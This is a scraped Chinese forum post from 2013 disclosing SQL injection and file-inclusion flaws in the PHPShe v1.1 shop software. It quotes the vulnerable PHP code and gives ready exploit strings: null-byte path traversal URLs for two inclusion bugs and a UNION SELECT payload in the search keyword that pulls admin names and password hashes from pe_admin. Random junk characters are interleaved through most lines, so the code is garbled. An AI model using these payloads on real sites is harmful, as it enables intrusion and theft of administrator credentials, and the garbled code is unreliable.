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phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/6 t% i' t, r- I) O$ Q
/* Phpshe v1.1 Vulnerability  u4 M, s; s# |- y8 q
/* ========================! }6 e) Y: U8 N$ E" x# O
/* By: : Kn1f3
1 v! Q7 r" I* L/ t/* E-Mail : 681796@qq.com
9 X8 e0 d5 l  W0 ?" A/*******************************************************/4 J$ H- S, P' k: K
0×00 整体大概参数传输
0 f9 ]9 l9 H3 t; p# h : W1 B8 r7 n% A) l1 i2 H. j

# }, R( D8 A) V5 X
0 s$ A3 L& L* J7 J3 N4 B
//common.php
, K: k5 N# c( c# Wif (get_magic_quotes_gpc()) {
3 p' ?- M: L. p+ m$ ?: K4 p7 b: }2 X!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
  D. K& i$ R7 J! S0 p!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
4 A; j! |2 N7 u  \}7 Q( O7 z( ^  X
else {
2 C7 m6 G+ @4 L* x6 G0 h% m!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');4 q% ]# o! ?4 l1 ~% s; W2 f  M
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');8 l0 F$ K# y/ h. q0 k5 @4 ^
}
7 U7 @9 M) k; k8 U9 V+ psession_start();5 X9 i3 n  ~! k3 q& B$ P
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');. y* g1 L. f8 ^7 f/ F4 e
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
( w( k' g3 I; H' e; d  e6 @
" ~8 T- c% h3 Q% Z+ g/ J3 m0×01 包含漏洞
! A5 ~) ?7 T: u- i, V
% u, d2 K& V. M* c
- K+ w1 y, v# k  t) t/ A' [
//首页文件2 N, X2 n* r$ U: `+ Y  M- x
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
3 Y& E( J, n2 `+ hinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞5 r- U1 A5 J: ~, b
pe_result();
4 B# ?  U9 E( D?>
  C: O* u3 J9 j//common 文件 第15行开始- d, W. j" r! J7 o: S" M
url路由配置6 g" I" }8 S- [8 i$ y, `
$module = $mod = $act = 'index';% }. D. t! y" H2 v# r9 K) t, q0 K/ X- B
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
+ p# E* i1 M2 J% w" s% h4 t/ W5 X$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
1 M9 y# p' ]% z& U6 W/ \$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);* I- f; f+ Y# \3 P; e. X$ t9 H
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00, y. [. E3 U, n4 i0 C

7 J* p1 s. J6 M. M# m) [- F

6 c7 I. ~1 Y# b* [7 m) b$ I0 \' E 0×02 搜索注入
8 t2 y+ }" ?$ B9 t3 ~% u5 q
" c7 s+ h; @9 C/ X$ g<code id="code2">

//product.php文件* p+ d$ W' d8 K3 ]4 f6 R
case 'list':
2 i! a7 W; |# r$category_id = intval($id);# K2 j- x& F, }) f, D
$info = $db->pe_select('category', array('category_id'=>$category_id));
' o. C. V  _% ^+ V//搜索* S4 j, y. a4 t, ?
$sqlwhere = " and `product_state` = 1";
) J& h8 @/ v1 s( vpe_lead('hook/category.hook.php');) x2 d7 C9 n5 f$ s) H0 m
if ($category_id) {. `4 x, u5 [2 Z5 R
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
( R+ U; ?0 z$ o}- \% t( y+ K  i5 S" {$ A. o. l8 P
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤1 `" x# ~/ E2 f: Y( c3 \6 d
if ($_g_orderby) {
9 T9 ]8 t1 P/ E- ~( ^) i4 R9 U8 H$orderby = explode('_', $_g_orderby);9 J$ L6 J1 S  s0 P" Z
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
6 b8 F1 w$ H- |1 y}3 H; ]9 d! z" r0 R# \- B+ S
else {
$ `1 [% E8 A- T! g$sqlwhere .= " order by `product_id` desc";) U% v1 P1 I" p$ p# {- \8 L
}7 q% i+ o8 l- z. P
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
7 z/ T! @6 h% h0 C/ r( r//热卖排行' a2 `' N# D5 R4 }
$product_hotlist = product_hotlist();$ |/ S7 e7 y- t' x3 w& Q  w) `
//当前路径9 Y2 M1 w4 x4 s
$nowpath = category_path($category_id);
) w3 g! e; N; g2 ?$ X. u$seo = pe_seo($info['category_name']);
3 w- Z0 ?' t+ c0 t6 F* Z1 E/ Finclude(pe_tpl('product_list.html'));
9 q: b( M9 {# Z# H* b8 g//跟进selectall函数库6 P' z: t* `/ `( [7 P
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
9 V, B! H. U. }$ @$ B2 o/ c{6 M& q7 B- b8 `& }
//处理条件语句4 P0 \$ C' L5 }$ W" Q9 h
$sqlwhere = $this->_dowhere($where);9 e6 |, ?# M) H6 Z
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);) U. F8 J* y" s/ c; b
}5 r* Y7 M; O3 }) K
//exp
! }3 `% a8 y- Xproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1& B' f5 g5 O7 t, C# L; T

</code>
/ X2 }1 f. Z( j
2 Z# p& m. ~' R* w, u0×03 包含漏洞27 M, x, A$ l4 l' K
( \( g: H' Y2 C  B4 ?
<code id="code3">

//order.php

case 'pay':


: t# c$ K1 J) g* J* x4 k: c$order_id = pe_dbhold($_g_id);

& e( L+ E& _7 B
$cache_payway = cache::get('payway');


' t* L' b2 C7 M9 Z+ `foreach($cache_payway as $k => $v) {


2 i+ y! N3 C' q: ^$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


- ~# M; e. F! _if ($k == 'bank') {

% A3 n8 }; s9 y$ o
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

+ b' B: ]& l! V! v0 r4 Y) o! ?7 C# ~
}

. [+ F) w7 C2 B  G- |5 ?* K5 N. e
}


- _5 W* D# [8 g  H' R$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

; Z1 @; y6 q' H# ]7 H* ~7 q2 G
!$order['order_id'] && pe_error('订单号错误...');


- L. n$ u" g3 C7 {if (isset($_p_pesubmit)) {

* H8 X* M! b3 H/ u- m( I
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


( v# f3 R  Y3 B: i: C$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


. L; U2 ?& ^, X( Mforeach ($info_list as $v) {


: T" }4 X" u. w4 c) e1 t$order['order_name'] .= "{$v['product_name']};";' d5 _9 g" V* l4 K' Q


% h. ]8 {6 |1 Z/ u/ Y! j}

5 s( K& Z8 _$ j' ~" J
echo '正在为您连接支付网站,请稍后...';

$ n# W5 b' o% _* M" C' i
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


1 f$ {( s: v  E9 f}//当一切准备好的时候就可以进行"鸡肋包含了"


' L3 c0 o# Y; lelse {

& [$ f1 S" Q3 V# t) |3 b$ E( u9 ]; d7 A
pe_error('支付错误...');

% q6 r, L0 [2 s# D. m
}


! c4 m/ V/ _8 v0 \0 V$ y}

  s( V4 c  }8 ]5 b$ {
$seo = pe_seo('选择支付方式');

3 |2 f0 R+ H  e0 K" S: T: y8 ]* p
include(pe_tpl('order_pay.html'));

4 D9 }& Y( ?  J' D* {! ]
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>, N: t7 g: b& l2 ~  m1 N2 l+ t" T3 _+ T

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